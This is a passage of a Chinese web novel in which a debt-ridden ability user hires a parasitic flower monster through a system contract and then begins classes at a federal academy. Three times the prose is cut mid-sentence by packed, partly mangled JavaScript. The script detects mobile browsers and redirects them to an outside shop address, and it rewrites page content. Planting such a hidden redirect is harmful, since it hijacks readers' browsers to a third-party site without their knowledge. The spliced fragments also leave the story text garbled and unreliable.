但当时，异能并没有生效，说明刮刮乐只是域主的某种能力，并不是它身体的一部分。 怪不得……怪不得怎么都找不到域主的痕迹。 原来它寄生在我的体内。 她和它陷入了某种诡异的共生。 尽管对真相有所预料，游迁还是本能地发抖。 原来身体早就背叛了她，她真切地认识到，在领域内，没什么是值得相信的。 还是不够谨慎。 她闭上双眼，对自己身体的各个部位使用异能。 大脑右侧，靠近右耳的位置，传来微弱的回应。 域主寄生在她的大脑，随着每一次奖项，刺破头皮，嵌入大脑，扎根深处。 游迁深呼吸，窄而短的匕首毫不犹豫地刺入，割去一层透着青蓝的头皮。 粘稠的汁液流落，粘连在耳廓。 世界静默一瞬。 紧接着，尖啸直击脑髓，紧接着淡蓝的植物枝叶从耳畔掉落。 再度睁眼，面前的场景发生变化。 工友们一同劳作的景象消失，取而代之的是漫无边际的蓝色花海。 花朵主干是湖水般沉寂的蓝，边缘结出玉白的刺，像是犬类的獠牙。整个植株外围晕染着宝蓝的光晕，像是童话故事里美丽而怪诞的花束。 鲜花之下，是人，花朵的尖刺没入头部，它汲取着人血，开得越发旺盛。 她的脚边是一截断开的枝叶，它掉落在地，发出枯萎的声音。 游迁掩住口鼻，望向矿洞中心的蔚蓝花朵，和高处被枝叶遮盖住的洞口。 她原本想的是用火烧掉域主，但现在看来，用火烧行不通。 这次下矿的矿洞没有其他出口，空间密闭，燃烧带来的浓烟会致人窒息，更何况她的队友都处于昏迷状态，火烧起来时完全来不及逃生。 回想起刮出的“治疗一次”，游迁有了另外的想法。 她取出某样东西，匕首开路，快步跑向那朵蔚蓝的花束。 带有白色獠牙的枝叶前来阻挠，缠住游迁的脚踝，后者全然没有理会。 游迁大跨步，奔向花海中央，将薄薄的纸张拍到那朵盛开的蓝花之上。 系统发出提示音： 【已使用污染物品“一份合同”】 【恭喜您成功雇佣污染物“欲望之花”】 【恭喜您完成主线任务二】 【恭喜您完成支线任务】 系统提示音滴滴滴地在耳边炸开，游迁脑袋刚收过伤，实在是无福消受，便干脆让系统暂时静音，任务奖励稍后再看。 她点开系统界面，在个人信息和任务详情下方，多出一个雇员模块。 【雇员：欲望之花 等级：低危+（即将晋升至中危） 职能： 1、轻度治疗，可以处理出血、脱臼等轻微伤口，每次处理请支付足量的欲望。 2、提高您对污染的抗性。 备注：您作为伟大的企业主，雇佣了欲望之花。您可以约束它，但您不能唆使它完成职能之外之事（如攻击、迷昏人类或污染物）】 【您与污染物欲望之花建立了联系，现在可以转换欲望之花的状态了】 枝叶仍然缠绕着游迁的脚踝，不再具有攻击性，尖刺软化，小狗似的贴在她的脚腕处。带绒毛的叶片滑过皮肤，有些痒。 游迁能感知到，自己与欲望之花间多出了条无形的线。她尝试拨动，传达松开其她人的讯息。 欲望之花寄生在人的大脑，单纯抽离寄生的枝叶，不填补伤口，会导致人体大出血。 叶片紧贴她的小腿，表示抗拒。 游迁俯下|身，把它扒开，重新吩咐：“连接人体的那部分花枝切断，把人都赶出领域。” 叶片耷拉下脑袋，垂头丧气地松开她。 矿洞中央的花束剧烈颤动，不多时，根茎被粗暴地切断，末端还淌着蓝绿色的汁水。 花瓣沙沙作响，在为到嘴的食物飞了而惋惜。 没有了枝叶的干扰，视野变得宽阔，游迁环视四周。她的工友们都陷入昏迷，队长和副队都伤势严重，脑袋底下全是血。 得出去，得联系管理局救人，对了，还得把新收的员工藏起来…… 游迁有点头疼，前两个还好处理，第三个就难办了，管理局会对每个人进行污染度检测，想把污染物带出去并不容易。 苦恼之际，水晶般的蓝色花朵凑到她面前，游迁下意识作出反击的姿态。 蓝白的光束拂过她的面庞，美得不似人间物的花朵消失，徒留光裸的岩层。 再低头，破破烂烂的防护服下，她右臂多出段蓝色的花纹，墨蓝的花枝攀附于上臂，艳丽的花朵于肩头绽放。 心念一动，纹路淡去，她的手臂恢复正常。 “系统，除了面板中显示的功能，我能让雇员干别的事吗？” 这次的提问牵扯到新功能，向来喜好节能省电的系统难得开口，给出了回答。 【暂时不能，但雇员的实力会随着宿主自身实力的提升而提升，在这过程中，您可以解锁新的功能】 【宿主可以期待一下，根据系统计算，新功能有76.1%的概率缓解宿主的经济压力】 “我明白了。” 游迁咽下系统递来的大饼，勉强混个半饱。 没了多余枝叶的遮挡，洞口畅通无阻，稀稀落落的人声从高空撒落，鱼饵般勾起她的关注。 “B级以上的异能者什么时候来？” “快了，大概只要十分钟。这次也是不走运，活跃期，高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515378|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阶异能者都被派去处理地表和边缘地带的污染物了，这次的异能者还是从周边临时抽调过来的。” “矿洞内的领域扩张过去两个小时了，希望人没事……咦？” “领域解除了？” 洞口的人还在讨论领域是否解除，洞内的游迁已经麻溜地倒在地上，模仿工友们的姿势，以地为床，以粉尘为被。 万事俱备，只等管理局把“昏迷”的她捞走，打包带去治疗。 * 老地方，管理局。 刚拉着几车受害者赶回管理局的赵曼之端坐在桌后。 桌对面是“白跑一趟”的B级异能者槿槐安。她从桌上捞起赵曼之刚泡没多久的咖啡，也不嫌烫，直往嘴里灌。 “太烫了。” 说话的空档，滚烫的白雾从嘴缝里冒出。槿槐安本就紧锁的眉像是挂上了砝码，更往下坠，也不知道是被烫到，被苦到，还是被目前的情况头疼到。 槿槐安默不作声地把咖啡放远： “劳烦赵队给我个交代，管理局就是这样行事的？把人跟驴一样拉来，现在又说领域消失了。” 赵曼之从桌屉里掏出半罐方糖，打开盖子，又把管理局检测到的领域扩张信息发给槿槐安。 “槿教授，管理局也不是有意耽搁你休息的时间。两个小时前，管理局人工智能艾尔确实检测到领域扩张，只是我们赶到时，领域已经消失，域主不见踪影。” “不是你处理的？” “不是，我术后恢复期还没过，要好好修养。” 槿槐安指节叩杯，脸色冷下：“异能等级提升手术名额有限，你是该好好修养，不要辜负了管理局给你的名额。” 赵曼之嗯声，余光扫视桌边的方糖，罐里的方糖肉眼可见地少了好多。 “管理局得好好查查，领域可能不是解除，而是逃跑了。越是高阶的领域域主，越是狡诈可恨。” 赵曼之盯着糖罐，出神：“你说有没有可能，是临时矿工们解决了它？” “临时矿工？倒也有可能，看资料，矿工里面是有几个异能者学院的。至于其她人，呵，没有经过专业训练、空有异能的普通人罢了，在这种接近中危的领域内，能不添乱就是万幸。” 赵曼之并不这么觉得，异能者学院的培养固然专业且必要，但并不意味着没经过学院培训的异能者便一无是处。 总有极少数人，哪怕没有任何经验，也能多次死里逃生。 比如这次下矿的某个新员工。 赵曼之微不可查地叹气，收起糖罐： “这次的领域域主并非主动攻击型，部分受困矿工并未主动深入领域，受到的污染程度更轻，现在已经醒来，告诉了管理局领域内的基本情况。” “但至于更多的内容，这部分受损轻微的矿工并不知晓，管理局会等其她员工全部醒来后，再行询问。” “槿教授要是不放心，管理局可以向你发送有关资料，毕竟教授你是本次任务的参与者。” “不用了。” 槿槐安一口闷掉咖啡。 “我没有多管闲事的爱好，你们管理局的事情，我没兴趣。” 喝完咖啡，槿槐安起身要走，又被赵曼之叫住。 “除了领域，我个人有件事想问你。” 14.入学 听到赵曼之有问题要问她，槿槐安抱臂后退，下意识后退： “赵家小姐无所不能，事业也一帆风顺，有什么事需要麻烦我这个小教师的？” 赵曼之手指点桌：“我想推荐个低阶异能者免学费进学院，她能力不错，就是资金情况不太乐观。” 槿槐安翻白眼：“管理局有推荐渠道，赵队长应该比我更清楚。” “她征信状况不太好，不符合管理局的推荐条件。” “……”槿槐安眉纹皱的更深，“没看出来，你居然有扶贫的爱好。” “这名异能者一个月进入过三次领域，她太招领域喜欢了。” “三次？那可真是有够倒霉的。” 槿槐安嘴上说着，眉心却逐渐舒展。 一个月进入三次领域，还都能全身而退，说明这个人代谢污染速度快，脑袋也不算笨。 虽然异能等级低了些，也不是不能接受。 “我会和学院反应的。” “谢谢。” 目的达成，赵曼之替槿槐安打开门。 “嗤，忙去吧，别想借会客躲闲。” “槿教授说的是。” 赵曼之眉开眼笑，目送这尊大佛离开。 领域的后续收尾工作开展的并不顺利。 早早醒来的异能者没有深入探索领域，她们对领域的探索停留在极为浅薄的层面，有的甚至什么都没做，只是停在原地，等待管理局的救援。 至于深入探索领域的异能者们……她们受到了极为严重的污染，至今仍在接受治疗，管理局无法进一步调查。 “领域域主寄生了这些勇敢的异能者，她们的身体正在发生某种惊人的变化，等待她们的，可能是异能等级的提升，也可能是死亡。” “这些都需要时间，少则几个月，多则数年。” 污染物研究方面的专家如是说道。 这个结果说不上好，但也不算太糟糕。 好的是：领域消失得突然，被卷入领域的异能者共计二十一名，仅三人重伤，低于低危领域平均17%的死亡率。 不好的是：证据缺失，管理局被迫中止调查；联邦财政局还要经过层层程序，批给异能者们每人六千联邦币，作为这次意外的补偿。 “那批早早醒来的家伙，明明什么也没做，却拿到了笔可观的补偿金。” 财政局的办事员们私下里吐槽，话题从这笔补偿金不断偏离，谈到联邦对异能者们的优待，谈到自己微薄的薪资，最终以“这里是办公场所，艾尔可以听到”作为结尾。 办事员们口中“什么也没做”的游迁，此时正仰躺在管理局的隔离室内。 一回生，二回熟。 三进宫的游迁已然把这当成了自己的家，像打开自家冰箱般，自然地挑选起营养剂的口味。 经过一番纠结，她选择了红烧牛肉面口味的营养剂，口感与方便面调料包冲出来的汤类似，就是喝完不容易犯恶心。 喝完晚饭，她目光上移，以通讯器为遮掩，查看系统奖励。 【已发放主线任务二奖励，获得C级异能“甩锅”】 【异能：甩锅 等级：C级 简介：大老板系列异能，将您做过的某件事归于他人，A级以下异能者/中危以下污染物将信以为真。持续时间1h，冷却时间24h。 注意：甩锅对象必须真实存在，且不能高于C级/低危】 【已发放支线任务奖励，D级异能“乖，留下加班”提升至C级】 【异能：加班 等级：C级 简介：大老板系列异能 （1）可禁锢指定的人或物，使其无法脱离指定区域。持续时间1min，冷却时间10min。 注意：禁锢对象异能等级越高，该技能效果越弱，A级以上异能者无法禁锢。 （2）可使削弱指定的对象速度和防御力，削弱程度需经过判定。持续时间1min，冷却时间30min。 注意：削弱对象有5%的概率攻击力翻倍，提升后将优先攻击您】 游迁退出奖励领取页面，转而查看个人面板。 【个人面板 人物：游迁 性别：女 年龄：26 身份：云山赌场债务人/初创老板/临时矿工/联邦大学异能者学院资助生 资产：-998700联邦币（含17800联邦币可用资金） 员工：欲望之花 异能：加班（C级）、甩锅（C级）】 关闭系统面板，游迁捏住空了的营养剂包装袋，思考起她的两项异能。 异能“甩锅”顾名思义，可以将自己做过的事甩给别人，虽然没有攻击力，但在领域和某些特定场景下，有奇效。 异能“加班”在原有的基础上，获得进一步发展，她不但可以通过“加班”控制敌人，还能削弱敌人。如果有队友的话，她还可以通过“加班”，让队友的攻击力翻倍。 这两次的任务奖励都很合她胃口，非要说有什么不足之处，就是缺乏攻击性。 针对这一点，游迁暂时无法克服，欲望之花也无法主动攻击，只能提供治疗、提高污染抗性等辅助功能。 希望后续解锁的异能具有攻击性，此外，她也得留意那些具有攻击性的污染物品和污染物。 游迁仰倒在床，期待起几天后的校园生活。 * 联邦大学一年有两个学期，四月初到八月末，十月初到二月末。 和游迁上辈子所在的世界相似，联邦大学除宿舍外的建筑都散发着金钱的气息。 在这个被污染物和能源匮乏所困扰的世界，联邦大学被建成了军事基地的模样，整体是个硕大的银白半球，墙壁异常厚重，由特质钢材和复合装甲板构建而成。 它藏在浓厚的雾气之下，是联邦科技的结晶，也是个不折不扣的庞然大物。 外部设施完备，学生宿舍也是豪华无比。 一人间，没有喜欢带朋友回来、坐她床上嗑瓜子的工友，没有开窗通风都散不掉的泡面和水垢味。 室内装潢温馨，棕色皮质沙发摆在客厅，卧室是软乎的大床，灯光呈现出暖色调，把整间房照的温暖又舒适。 她上辈子就想买这种温馨独居小屋，这辈子住进这样的宿舍，也算是变相实现梦想了。 “咚！” 门板发出惨叫，游迁回神，觉得这次来敲门的应该是个异能者。 拳头砸在厚实的铁门上，真怕给门敲出个洞。 游迁将通讯器切换至扫描模式，检查过铁门没有凹进去后，面无表情地拉开门。 “同学，有兴趣加旧历研究社吗？” 门外的金发学姐及时扒住门。 “旧历研究社，这是什么？” 金发学姐面色一亮，难得撞见愿意听她推销社团的，四舍五入就是社团成员了。 到嘴的“新社员”可不能丢，金发学姐略施小力，原本半掩的门被完全拉开。 “就是研究大灾变之前历史的，同学你是新生吧，之后你选课也会看到旧历研究课，任课教授会通过影像资料和实物，向你们展示大灾变前人类是怎样生活的。我之前上课就吃到了旧世界人尝吃的食物，虽然只有一点，但自己买至少要几十联邦币呢。” 游迁注意到，这位学姐巧妙地将课堂内发放的食物和旧历研究社联系在了一起，没明说社团会不会发放免费的食物，只说旧历研究课有送，不细想的话真会被学姐给骗过去。 游迁看出来了，还是要加。 她之后想要卖东西赚外快或者打听些消息的话，学校里这帮人是首选，加群可以拉拢潜在的客户群体，也可以多些消息来源。 在此基础上，加的群自然是多多益善。 成功骗到一枚学妹，学姐嘴角上扬，跟游迁道别后，便步伐轻快地离开了。 游迁正打算关门，却发现有人在看自己，眼神跟看傻子差不多。 “这种上门推销要你加群的不要理，没几个靠谱的。” 不知是管理局有意安排，还是就这么巧，管理局实习生吴瑰正好住在了游迁隔壁。 游迁救过她，吴瑰认为在领域内，游迁还是很可靠的，但领域外嘛…… 从飘红的征信记录，到把亲人的遗产拿去赌，赌得分文不剩，再到现在胡乱加群，这人浑身上下都写着“不靠谱”。 吴瑰也是学院的老人了，游迁趁机提问：“刚刚我加的是旧历研究社，这个社团有什么问题吗？” “旧历研究社啊……”吴瑰回忆自己听过的八卦，“我入学的时候这个社团还是正规社团，但去年出了点事，这个社团被注销了，现在都是地下活动，没钱没经费，社员走了大半。” “出了什么事？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520454|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “具体我也不清楚，你可以去学校论坛搜，我等会儿把链接发你通讯器上。除了这个社团，你还有加别的吗？如果有人要你付费加社团，千万别给钱，那些都是骗子。” “这种我没加。”其他都加了。 在此之前，已经有六波人来推销，游迁排除掉那些骗钱的，应加尽加。 “那还好。”吴瑰明显松了口气，“对了，你有加学校校园墙吗？没有的话，我发你链接。” 游迁摇头。 下一秒，通讯器嗡鸣，吴瑰啪地发来了链接，让人怀疑她是不是老早把链接粘贴到对话框，就等着发送了。 “学校发生什么大事，各门课程历年的给分情况，校园墙都有记录，你可以上去了解一下。” “谢谢……学姐。” 游迁顿了顿，又加上了末尾的两个字。 “哈哈，不用谢，有什么需要通讯器上找我就行。” 吴瑰强压着嘴角，心里美滋滋。 被大自己几岁的出色异能者叫学姐，真是别样的感受。 吴瑰傻笑着，脚步飘忽地走下楼，险些踩空，反应过来后，有些难为情，摸着后脖颈，快步离开。 …… 游迁眨眨眼，装作没看见吴瑰的傻样，低头研究校园墙。 联邦大学的校园墙身份验证得很快，游迁前一秒提交申请，后一秒就审核通过，获得新账号，账号名是二位字母加十位数字。 游迁将账号名设置成“生意兴隆”，头像换成质朴无华的联邦币，登录校园墙。 如吴瑰所说，校园墙确实有很多课程信息，同学们也围绕着课程和任课老师，展开了激烈的讨论。 只是…… 画风有些歪。 热度第一的讨论贴是“污染物研究什么时候才能放过我”。游迁记得“污染物研究”是异能者学院学生的必修课，只要还在学校，每个学期必修，便点入讨论贴。 入眼就是一条哭诉。 已变异勿扰：呜呜呜，上学期的污染物研究又挂了，怎么办，我已经连挂三次了，我不想重修了（大哭）（大哭） 11：我也挂了，槿教授抓得也太严了，我上学期污染物都杀死了，就因为杀死污染物后没及时联系队友，她把我整队都挂了。现在要重修不说，都没人跟我组队了。 已变异勿扰：确实有点惨（摸头） 11：何止是惨啊，本来我都快毕业了，就卡在这一门课上了，又要多上一学期。槿教授简直不是人，能不能换个老师教污染物研究。 Maple：支持楼上的，槿槐安何止不是人，简直就是没有人性，污染入脑了！爱点人，卡合格率，以前这门课都有70%通过率，她上任之后直接降到20%！ Maple：真是服了…槿大小姐生活过得太无聊了，就来折磨我们这些普通人了是吧？她不需要教授的工资维持生计，我们还要拿毕业证找工作呢！ 已变异勿扰：这说得是不是有点过了（擦汗），楼主开贴是为了吐槽考试挂科来着… 眼见自己发的贴子变成了槿教授辱骂贴，已变异勿扰低叫一声，着急忙慌地打字，试图挽救这个贴子。 话才打了一半，就有人替已变异勿扰骂了回去。 姐宝妹：我说怎么被吵醒了，原来是有一帮狗在叫。 姐宝妹：自己没实力通过考试，就在这狗吠（白眼）。 姐宝妹：@Maple，别毕业了早点退学吧，你这嘴臭的，污染物都要嫌你污染环境。 Maple：槿槐安的无脑支持者又来了，我就搞不懂了，她是给你们开后门了还是给你们灌迷魂汤了。 Maple：我说这门课怎么还有20%的通过率呢，原来都留给你们这帮拍马屁的了。 姐宝妹：我拍马屁你嘴还崩屁呢！吃了什么啊？味这么大！ …… 后面几乎都是关于槿槐安教授的骂战，偶尔出现部分吃瓜/劝架群众。游迁面无表情地滑到底。 除了污染物研究课通过率低、授课老师爱点人外，游迁没发现什么有用的信息，随便扫了几眼，便退出了这个乌烟瘴气的贴子。 旁人的话不能全信，一个人人品如何，还是得自己接触了才知道。 带着几分好奇，游迁迎来了她在学校的第一节课。 然后确认了，这位槿教授是真的…… 爱点名。 15.校园生活（一） “这排往后数第六个同学，起来回答一下，该怎么离开领域？领域域主与领域规则存在什么联系？” 底下的新生们窃窃私语。 “第一节课就点人回答问题啊。不愧是昨天被吵到校园墙热度第一的老师。” “你也看那个贴子了？吵得可凶了，盖了一千多楼呢，最后还被老师们注意到把贴子给封了。” “也不知道是谁这么倒霉，第一节课被这位凶名在外的槿教授点起来回答问题。听说槿教授挺看重课堂表现的，答错了期末没准要挂科！” 污染物研究课上，游迁数了数座位，发现同学们口中的倒霉鬼是自己。 游迁思忖片刻，认为这绝不是她运气不好，而是槿槐安有心试探她的水平。 槿槐安身为学院副院长，对哪些人是受资助进入学院，应当是知情的。游迁有自知之明，心知自己只是个平平无奇的低阶异能者，能进学院也是托了管理局的福。 槿副院长第一节课就提问，除试探她的水准外，应该还存了惜才的心思，希望她在学院里好好学，别白费了学院的资助。 换她，她也这么干。 “通常，只有击杀领域域主才能离开领域。但极少数情况下，我们可以通过特殊异能或特殊污染物品脱离领域。” 第一个问题属于常识，好回答，重点是第二个问题。 “至于领域域主与领域规则之间的联系，我认为它们像是人和人的手脚。” 生动的比喻，槿槐安示意游迁继续。 “手脚为人所用，做人想做之事，领域规则也是，它们的存在一般有利于域主。” “可有时候，手脚也会误伤人，规则并非绝对有利于域主，异能者们甚至可以借规则反伤域主。” 槿槐安张唇，似乎想要说些什么，游迁又给自己的话打上补丁： “至于我们这些缺乏应对污染物经验的异能者，还是不要冒进，初入领域保证好自己的安危，有余力帮助别人。没有十足的把握，不要和域主硬碰硬，收集信息，等待救援。” 槿槐安闭上嘴，她对这个回答是满意的，但满意之余，她又有些烦躁。 这学生太会揣摩心思了，跟她肚子里的蛔虫似的。 “不错的答案，以你们现在的水准，挑战域主也只是平白送死。” 槿槐安扫视台下，大部分学生听进了她的话，但仍有少部分学生露出不赞同的神情。 她记下后者的模样，下午的实战演练课，她将重点关照这几名学生。 “污染领域相当复杂，人类至今未能知晓它的成因，有学者认为领域脱胎于灾变前的世界，有学者认为领域来自于人的贪嗔痴念。” “无论是哪种，我都希望你们保持警惕……” 下课铃响，上午的三小时大课结束。 游迁起身活动，点开通讯器的虚拟屏幕，查看课表。 体能训练、基础格斗和污染物研究都是这学期的必修课，扣去这些必修课，游迁只有周三下午和周六可以安排选修课。周日放假，学校不开课。 为防止学生通过选修课刷分，选修课每学期限选三节。如果三节选修课选满，加上必修课的学分，一学期可以有35学分。 联邦大学开设专业众多，选修课种类也很丰富，包括但不限于农学、心理学、旧历研究学、能源运用、智能管理、生物科学…… 旧历研究学的教授上课发食物，给分也不错。于是乎，旧历研究学被列为了最受欢迎的选修课，每次都要蹲点去抢才有可能选到。 除此之外，心理学和农学也很受欢迎。灾变后时代，人类终日生活在弥漫着灰雾的城镇中，娱乐方式匮乏。选修心理学，可以学习如何排解心中的愁闷，选修农学则有机会参观植物园，对于灾变后时期的人类而言，也算是一种新奇的体验。 游迁比对过各类课程，决定选修旧历研究学、心理学和联邦经济学。 污染研究课的教授说，领域可能来源于灾变前的世界，游迁不确定这个世界在大灾变前，经济、政治和文化等因素是否与她原本待的世界一样，所以还是需要学习这方面的知识，避免偏差。 至于心理学和联邦经济学，前者有助于她在日常生活和领域中保持良好的精神状态，后者有助于她把公司做大做强。 想好要选的课程，游迁退到主页，设置抢课的闹钟。 今晚八点开放抢课，时间还早，游迁悠哉游哉地逛起校园墙。 联邦大学的学生看着光鲜亮丽、勤奋好学，实际也喜欢在校园墙八卦吐槽，还特别喜欢跟风吃瓜。一个“jyh事件后续”的贴子底下，炸出了好多“蹲”“放个耳朵”“什么情况”的无聊大学生，个别看时间还是课上发的。 吃瓜是人类天性，游迁也不能免俗，她好奇地看完了整个贴子。 然后发现楼主啥也没说，贴子底下不是蹲后续的，就是转发小广告的，里头还有个相亲软件的广告，也不知道把这个转发到大学校园墙的人有何居心。 刷了二十分钟校园墙，看了一堆不知所云的贴子，也没蹲到“jyh事件后续”，游迁退出校园墙，搓脸，莫名有种生命被浪费的悲伤。 这可不行…… 游迁晃脑袋，转而点开联邦大学给新生发的推荐书籍资料包，静心阅读。 经历过社会的毒打，才知道知识的重要。 粗略过完半本书的内容，午休终了，槿槐安穿着她那身黑色风衣，踩着马丁靴，手里夹着密封袋，气势汹汹地走上讲台。 “下午上实战演练课，希望你们都休息好了，不会在课上脑袋发昏。” “每列第一个人，来我这边领纸。每人一张，不要多拿，拿好往后传。” 在如今这个生物资源匮乏、网络为信息传递主要渠道的时代，纸张不再司空见惯。随着树木的消亡，它们拥有了更为昂贵的价格，用途向钱币原材料限缩。 旧时代的产物，就这样从人们的日常生活中淡去。 游迁观察面前这张纸，它只有半个手掌大，像是上课时同学们传的小纸条。纸张偏厚，边缘泛黄。 槿槐安双手撑在讲台上：“你们手中的纸是安全级污染物，准确来说，是安全级污染物的一部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527725|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分。” “这只污染物很特殊，它没有形成领域，却已经具备了领域内规则的特点。你们要做的，就是在这张纸上写三句不同的话，写完三句话，纸张便会焚毁。” “三分钟内写完，没及时写完的扣平时分。” 学生们倒吸一口凉气，部分心急的把笔往手心一抓，草草动笔。 游迁盯着左前方的男同学，他手握黑色水笔，笔尖触及纸张，顺利留下墨痕。一句终了，墨痕仍在。 看来用普通水笔是可行的，但灾变后时代，大多数同学没有在身上放笔的习惯，情急之下，部分学生咬破手指，用血在白纸上写字。 血液含有个人生物信息，上辈子医疗机构抽取血液都有可能用作不法用途，更别提污染物了。 游迁从包里取出袋营养液，手指沾取液体，在纸上写字。 液滴在纸上绽开，写出的字丑是丑，但好歹没有马上消失。 游迁飞快地写着，时间紧迫，她当然不会写什么长难句。 大手一挥，她在白纸上留下了“猫走路”“狗走路”“兔走路”这种没文采、像是小孩写出来的话。 最后一个字写完，她连忙收手，明亮的火焰“喷”地从纸上跃起，咬住四角，将带水迹的纸烧尽。 同时烧起的，还有她放在桌边的营养液。 当三句话写完，纸张会焚毁，用于写字的“墨水”也会燃烧。 那用自身血液写字的人…… 游迁看向周围，坐她右边的学生就是用血液写字。此时，火舌咬上那名学生淌血的指尖，在惊叫声中，火势向那名学生的手臂蔓延。 “水！快给我水！” 那名学生大叫着，着火的手臂在空中乱晃，加剧火势。 慌乱的不止这些用血液写字的学生。 游迁左前方，那名用黑色水笔写字的学生面露惊恐，他竭力扒住桌沿，双腿不受控地向外迈出。 见鬼，他只是在纸上写了“人下楼”，没说下楼的是他，也没说是以这种方式下楼啊！ 他惊呼着，被不受控的双腿带出，站至窗边，颤抖地打开窗户。 老天这可是七楼！就算是异能者，跳下去也会死的！ 槿槐安站在讲台上，望着台下“群魔乱舞”的景象，揉捏眉心。 又是一届糟心的学生。 她使用异能，周身晕出冷色的光晕。 游迁在静坐在台下，听见了熟悉的动静，像是齿轮转动时的声响。 再扭头，学生们身上的火焰不再跃动，逐渐冷却，变作灰黑的黏液，湿哒哒地落到皮肤上，散发出难闻的机油味。 窗边的男生被按下暂停键，肢体变得僵硬，无法进行下一步动作。 “三分钟到。” “没有写完的，平时分扣一分。写完三句，身体不受控的，平时分扣三分。至于拿血写字的蠢货……”槿槐安拉下脸，“平时分扣十分，下节课交一份两千字的检讨。” “所有人，有受伤的去医务室，没受伤的留教室，思考这个污染物所携带的规则，答案二十分钟后公布。” 16.校园生活（二） 槿槐安发布课程问题，旧时代移民游迁捣鼓了半天通讯器，终于找到答题界面，敲下自己的答案。 1、满三句话，污染物会焚烧自身和用于写字的所有“墨水”。 2、写在上面的句子会成真。 3、句子含义会被歪曲。 第二条规则原本只是她的猜测，出于这个考虑，她将句子的主语扯到和她八竿子打不着的动物身上，所做的动作也是较为普通安全的那类。 又担心污染物会篡改句子，她写得短而精炼。 答题期间，槿槐安没有禁止她们讨论，游迁就找上了那些被污染物控制行动的人，询问她们当时写了什么。几经比对，发现污染物并不会篡改句子，而是歪曲句子的含义，以不利的方式呈现。 提交答案，系统很快给出批改结果，游迁得了满分。 槿槐安没想在课程问题上卡学生，经过这二十分钟的互通有无，留在教室内的学生大多答出了正确答案。 “总体答得不错，但我需要你们思考，如果污染物让你们实现纸上的句子怎么办？如果又出现了别的隐藏规则又该怎么办？只靠异能是无法战胜污染物的，我希望你们在动手前先用用脖子上顶着的东西。” 针对槿槐安提出的问题，游迁心底很快给出答案。 她会使用异能“甩锅”，自己走几步，然后将结果嫁接到猫、狗和兔子身上。 但同样的，这种方法会消耗异能的使用次数，算不上什么好方法。 游迁身体微微向后倾倒，依靠在椅背上，沉思。 看来还是要多研究前人对抗污染物的思路。 讲台上，槿槐安没有解答自己抛出的问题。课程时间有限，她扫了眼教案，转而介绍起这只折磨了学生半节课的污染物。 “这只污染物出现于新历71年，联邦将它命名为‘愿望书’，目前仅发现这一只。” “当时，联邦计划对联邦图书馆进行整理，派遣人员将纸质图书扫描上传至数据库。联邦派遣来的某名员工，在整理过程中发现了这本‘愿望书’。” “‘愿望书’第一页写明，写到书上的事都会成真，那名员工受到蛊惑，用笔写下了三个愿望，依次是自己获得晋升、母亲恢复健康和拥有完美的爱人。” 槿槐安停顿片刻，继续讲道： “这三个愿望以扭曲的形式实现了，那名员工的上司死亡，于是他获得了晋升。他的母亲意外被污染，污染物让她拥有了健康的躯体。那名员工被卷入领域，在领域中，获得了‘完美的爱人’。” 这就是向污染物许愿的代价，槿槐安说这个，也是想打消学生的侥幸心理。 不可能有友善、喜欢帮助人类的污染物，它们作出的、看似利人的行为，实际上也是为了自己。 作为异能者，就不该对这种人类之外的生物，抱有不切实际的幻想。 “有的领域会通过污染物或污染物品，突破时间和空间的限制，将人类捕获至领域中。那名员工被卷入领域名叫‘梦想成真’，‘愿望书’就是‘梦想成真’在外界散播污染、捕获人类的手段。” “这类主动捕捉人的领域通常具有较高的危险性，任何物品都可能是它们传播污染的媒介，更有甚者，仅仅知晓领域信息，就会受到污染。所以联邦封锁了中危以上污染物及领域的信息，避免普通群众受到影响。” 这也是灾变后，人类娱乐活动如此贫瘠的一大原因。影视文字作品需要经过联邦文化局的层层审核，不能有任何污染性因素，也不能有可能招致污染的血腥、暴力、色|情内容。 除此之外，联邦为防止污染采取的手段还有很多，比如联邦重大决策必须有人工智能艾尔的参与。 因为人类可能被污染，而艾尔不会。 它的数据库在联邦核心区域，与外界完全隔绝，层层的防火墙和被污染立刻销毁的底层代码，让艾尔被污染的可能趋近于零。 还有对污染有抗性的异能者才能担任异能者，居民远距离迁居必须经过体检审核，被污染过的普通人难以找到不用接触污染物的工作…… 诸如此类的防护措施压在联邦上空，叫人喘不过气的同时，也保障了联邦的安全。 人类就这样，压抑而挣扎地活着。 * 游迁较为安稳地度过了一个多月。 没有进领域，不会走在路上突然撞见污染物，还抢到了想要的选修课。 住宿条件好，食堂还会提供新鲜蔬菜水果，饭菜价格是外面的一半。 得益于此，游迁的生活质量直线提升，她面色变得红润，身上多了些腱子肉，远看不再像个营养不良的衣架子。 